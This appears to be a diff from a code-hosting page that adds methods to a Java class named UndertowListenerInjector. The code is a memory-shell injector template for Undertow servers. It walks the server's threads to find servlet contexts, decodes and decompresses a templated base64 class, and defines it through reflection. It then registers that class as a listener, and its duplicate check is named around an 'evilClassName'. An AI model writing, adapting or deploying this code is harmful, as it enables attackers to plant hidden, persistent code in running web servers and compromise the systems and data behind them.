Class<?> decoderClass;
|
||||
@@ -124,7 +46,6 @@ public class UndertowListenerInjector {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
@@ -213,4 +134,81 @@ public class UndertowListenerInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null) {
|
||||
contexts.add(servletContext);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public void addListener(Object context, Object listener) {
|
||||
try {
|
||||
if (isInjected(context, listener.getClass().getName())) {
|
||||
return;
|
||||
}
|
||||
Class<?> listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
|
||||
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
|
||||
Class<?> managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
|
||||
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
|
||||
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
List<?> allListeners = (List<?>) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
|
||||
if (allListeners != null) {
|
||||
for (Object allListener : allListeners) {
|
||||
Class<?> listener = (Class<?>) getFV(getFV(allListener, "listenerInfo"), "listenerClass");
|
||||
if (listener != null) {
|
||||
if (listener.getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user